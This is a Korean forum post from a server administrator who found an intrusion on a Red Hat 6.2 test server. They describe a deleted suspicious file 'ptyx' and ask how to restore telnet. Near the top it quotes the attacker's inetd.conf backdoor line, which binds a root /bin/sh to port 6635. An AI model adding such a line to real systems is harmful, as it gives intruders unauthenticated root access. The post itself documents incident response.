어제 테스트용으로 쓰는 회사 서버 점검하다가 inetd.conf에
6635 stream tcp nowait root /bin/sh sh -i
 라는 라인이 추가되어 있는것을 발견 했쪄요...
6635로 포트로 접근하니 바로 bash# 가 실행되더라구요..(실력 좋은 놈 -_-+)
그래서 급한데로 주석으로 막고 시스템을 찬찬히 점검했습니다.
이 사이트에서 매운 find 명령을 실행 했습니다. 혹시 백도어가 있나 해서요.
 find /dev -type f
실행하니 정상적인 파일이라고 설명되어 있는것 외에 ptyx라는 놈이 있더라구
요...
pstree를 쳐보니 아래처럼 나오구요.....
  init-+-atd
     |-automount
     |-crond
     |-httpd---20*[httpd]
     |-identd---identd---3*[identd]
     |-inetd---in.telnetd---ptyx(요놈이요)--bash--pstree
     |-kflushd
     |-klogd
     |-kpiod
     |-kswapd
     |-kupdate
     |-mdrecoveryd
     |-6*[mingetty]
     |-named
     |-portmap
     |-2*[portsentry]
     |-safe_mysqld---mysqld---mysqld---mysqld
     |-sendmail
     |-syslogd
     `-xfs
다른 시스템은 전부 ptyx가 아닌 login으로 나옵니다.레드햇 6.2 7.0 공통
그래서 백도어로 판정 고감하게
rm ptyx
로 날렸습니다.
근데 ㅠ.ㅠ telent이 안됩니다. 접속이 안돼요..... ㅠ.ㅠ
어느 사이트를 들어가봐도 ptyx라는 파일에 대한 설명도 없고
rpm을 삭제하고 다시 깔아도 안되고...
미치겠습니다.
 고수님들 ptyx의 정체와 telnet 다시 까는 법 rpm 도 좋고 컴파일도 좋고
제발 부탁드립니다. 참로고 시스템은 레드햇6.2(영문)입니다.
 복 많이 받으세요....
 --
해커와의 싸움은 계속되어져야 한다.... 쭈욱..... -_-+;;